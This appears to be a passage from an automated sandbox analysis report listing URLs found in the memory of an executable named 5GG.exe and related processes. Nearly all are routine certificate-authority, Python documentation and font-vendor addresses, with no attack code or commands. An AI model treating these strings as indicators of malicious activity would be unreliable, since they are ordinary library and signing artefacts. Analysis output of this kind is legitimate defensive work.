Source: 5GG.exe, 00000001.00000003.1693446470.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1667727536.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1670821307.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1667727536.00000145A1933000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1668549208.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, libssl-1_1.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: 5GG.exe, 00000001.00000003.1670821307.00000145A1928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-ha-cs-g1.crl0L
Source: 5GG.exe, 00000001.00000003.1668796406.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1669056144.00000145A1928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#
Source: 5GG.exe, 00000001.00000003.1663607693.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661591867.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661389955.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1662464065.00000145A1933000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661830558.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1663105785.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660864304.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1662980404.00000145A1933000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661135925.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661519849.00000145A1933000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661001870.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1663745033.00000145A1933000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1662276814.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1668796406.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1662913038.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1663942819.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1664160389.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661267025.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1663227820.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661752992.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1662197660.00000145A1926000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: 5GG.exe, 00000029.00000002.2891334129.000002ACF50E8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://curl.haxx.se/rfc/cookie_spec.html
Source: 5GG.exe, 00000029.00000002.2890849974.000002ACF4B50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://docs.python.org/3/library/subprocess#subprocess.Popen.kill
Source: 5GG.exe, 00000029.00000002.2890849974.000002ACF4B50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://docs.python.org/3/library/subprocess#subprocess.Popen.returncode
Source: 5GG.exe, 00000029.00000002.2890762729.000002ACF4A50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://docs.python.org/3/library/subprocess#subprocess.Popen.terminate
Source: 5GG.exe, 00000029.00000003.2449581744.000002ACF4341000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.python.org/library/itertools.html
Source: 5GG.exe, 00000029.00000002.2887798517.000002ACF4110000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://docs.python.org/library/itertools.html#recipes
Source: 5GG.exe, 00000029.00000002.2888255978.000002ACF43CB000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000003.2449581744.000002ACF4341000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.python.org/library/unittest.html
Source: 5GG.exe, 00000029.00000002.2887798517.000002ACF4110000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar.tar.gz
Source: 5GG.exe, 00000029.00000002.2887798517.000002ACF4110000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar.tgz
Source: 5GG.exe, 00000029.00000002.2888255978.000002ACF43CB000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000003.2449581744.000002ACF4341000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://google.com/
Source: 5GG.exe, 00000029.00000002.2887149226.000002ACF3DF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://google.com/mail/
Source: 5GG.exe, 00000029.00000002.2889231296.000002ACF4571000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2889231296.000002ACF45FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://hg.python.org/cpython/file/603b4d593758/Lib/socket.py#l535
Source: 5GG.exe, 00000029.00000003.2449581744.000002ACF4341000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://json.org
Source: METADATA.1.dr	String found in binary or memory: http://localhost:8000/main.html.
Source: 5GG.exe, 00000001.00000003.1671502734.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1670435139.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1671285767.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1671784319.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1669056144.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 7.exe.1.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: 5GG.exe, 00000001.00000003.1668549208.00000145A1928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digi
Source: 5GG.exe, 00000001.00000003.1661135925.00000145A1926000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert
Source: 5GG.exe, 00000001.00000003.1663607693.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661591867.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661389955.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661830558.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1663105785.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660864304.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661135925.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660541962.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661001870.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1662276814.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1662913038.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1663942819.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1672143332.00000145A1935000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1658049676.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1664160389.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1657542577.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661267025.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660762022.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1663227820.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660651448.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661752992.00000145A1926000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 5GG.exe, 00000001.00000003.1663607693.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661591867.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661389955.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661830558.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1663105785.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660864304.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661135925.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660541962.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661001870.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1662276814.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1662913038.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1663942819.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1672143332.00000145A1935000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1658049676.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1664160389.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1657542577.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661267025.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660762022.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1663227820.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660651448.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661752992.00000145A1926000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: 5GG.exe, 00000001.00000003.1660541962.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1668411549.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1658049676.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1657542577.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660762022.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660651448.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660390103.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1672143332.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1691659663.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1693446470.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660199691.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660313678.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660469872.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1659336779.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1667727536.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1670821307.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1657903145.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1672813106.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1657649288.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1693148519.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1667727536.00000145A1933000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: 5GG.exe, 00000001.00000003.1670821307.00000145A1928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0I
Source: 5GG.exe, 00000001.00000003.1668411549.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1693446470.00000145A1928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0N
Source: 5GG.exe, 00000001.00000003.1693446470.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1667727536.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1670821307.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1667727536.00000145A1933000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1668549208.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, libssl-1_1.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0O
Source: 5GG.exe, 00000001.00000003.1670821307.00000145A1928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0P
Source: 5GG.exe, 00000001.00000003.1670821307.00000145A1928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0R
Source: 5GG.exe, 00000001.00000003.1660541962.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1672143332.00000145A1935000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1658049676.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1657542577.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660762022.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660651448.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660390103.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1672143332.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1691659663.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000002.2884118725.00000145A1925000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660199691.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660313678.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660469872.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1659336779.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1657903145.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1672813106.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1657649288.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1693148519.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1691105575.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, _multiprocessing.pyd.1.dr, _overlapped.pyd.1.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: 5GG.exe, 00000001.00000003.1668549208.00000145A1928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digif
Source: 5GG.exe, 00000001.00000003.1663607693.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661591867.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661389955.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1662464065.00000145A1933000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661830558.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1663105785.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660864304.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1662980404.00000145A1933000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661135925.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661519849.00000145A1933000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661001870.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1663745033.00000145A1933000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1662276814.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1668796406.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1662913038.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1663942819.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1664160389.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661267025.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1663227820.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661752992.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1662197660.00000145A1926000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: 5GG.exe, 00000001.00000003.1668411549.00000145A1928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.thawte.com0
Source: 5GG.exe, 00000029.00000002.2885715487.000002ACF37A0000.00000004.00001000.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2887626985.000002ACF4010000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://opensource.apple.com/source/CF/CF-744.18/CFBinaryPList.c
Source: 5GG.exe, 00000001.00000003.1672813106.00000145A1928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://s.symcb.com/universal-root.crl0
Source: 5GG.exe, 00000001.00000003.1672813106.00000145A1928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://s.symcd.com06
Source: hyperServer.exe, 00000006.00000002.1817257879.00000000031B5000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2889594930.0000000003662000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: 5GG.exe, 00000001.00000003.1740552534.00000145A1929000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tango.freedesktop.org/Tango_Desktop_Project
Source: 5GG.exe, 00000029.00000002.2888255978.000002ACF43CB000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000003.2449581744.000002ACF4341000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tip.tcl.tk/48)
Source: 5GG.exe, 00000029.00000002.2891206687.000002ACF4FA0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://tools.ietf.org/html/rfc6125#section-6.4.3
Source: 5GG.exe, 00000001.00000003.1672813106.00000145A1928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-aia.ws.symantec.com/sha256-tss-ca.cer0(
Source: 5GG.exe, 00000001.00000003.1668411549.00000145A1928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: 5GG.exe, 00000001.00000003.1672813106.00000145A1928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-crl.ws.symantec.com/sha256-tss-ca.crl0
Source: 5GG.exe, 00000001.00000003.1668411549.00000145A1928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: 5GG.exe, 00000001.00000003.1668411549.00000145A1928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: 5GG.exe, 00000001.00000003.1672813106.00000145A1928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-ocsp.ws.symantec.com0;
Source: WmfImagePlugin.py.1.dr	String found in binary or memory: http://wvware.sourceforge.net/caolan/index.html
Source: WmfImagePlugin.py.1.dr	String found in binary or memory: http://wvware.sourceforge.net/caolan/ora-wmf.html
Source: 5GG.exe, 00000001.00000003.1665644362.00000145A1927000.00000004.00000020.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.3051181409.000000001FCA2000.00000004.00000800.00020000.00000000.sdmp, Roboto-Regular.ttf.1.dr	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: 5GG.exe, 00000001.00000003.1665475228.00000145A1927000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0RobotoMedium
Source: 5GG.exe, 00000029.00000002.2887798517.000002ACF4110000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.apple.com/DTDs/PropertyList-1.0.dtd
Source: TextInputHost.exe, 00000024.00000002.3051181409.000000001FCA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: 5GG.exe, 00000029.00000002.2888255978.000002ACF43CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.crummy.com/software/BeautifulSoup/
Source: 5GG.exe, 00000029.00000002.2888255978.000002ACF43CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.crummy.com/software/BeautifulSoup/bs4/doc/
Source: cpp.py.1.dr	String found in binary or memory: http://www.dabeaz.com)
Source: 5GG.exe, 00000001.00000003.1663607693.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661591867.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661389955.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661830558.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1663105785.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660864304.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661135925.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660541962.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661001870.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1662276814.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1662913038.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1663942819.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1672143332.00000145A1935000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1658049676.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1664160389.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1657542577.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661267025.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660762022.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1663227820.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660651448.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661752992.00000145A1926000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: 5GG.exe, 00000001.00000003.1670821307.00000145A1928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: 5GG.exe, 00000001.00000003.1663607693.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661591867.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1662833605.00000145A1933000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661389955.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1663105785.00000145A1933000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1662464065.00000145A1933000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661452425.00000145A1933000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661830558.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1663105785.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660864304.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1662980404.00000145A1933000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661135925.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1664160389.00000145A1933000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661519849.00000145A1933000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661331204.00000145A1933000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1662540630.00000145A1933000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661001870.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1663745033.00000145A1933000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661201242.00000145A1933000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1662276814.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1662913038.00000145A1926000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.eclipse.org/0
Source: TextInputHost.exe, 00000024.00000002.3051181409.000000001FCA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: TextInputHost.exe, 00000024.00000002.3051181409.000000001FCA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: TextInputHost.exe, 00000024.00000002.3051181409.000000001FCA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: TextInputHost.exe, 00000024.00000002.3051181409.000000001FCA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: TextInputHost.exe, 00000024.00000002.3051181409.000000001FCA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: TextInputHost.exe, 00000024.00000002.3051181409.000000001FCA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: TextInputHost.exe, 00000024.00000002.3051181409.000000001FCA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: TextInputHost.exe, 00000024.00000002.3051181409.000000001FCA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: TextInputHost.exe, 00000024.00000002.3051181409.000000001FCA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: TextInputHost.exe, 00000024.00000002.3051181409.000000001FCA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: TextInputHost.exe, 00000024.00000002.3051181409.000000001FCA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: TextInputHost.exe, 00000024.00000002.3051181409.000000001FCA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
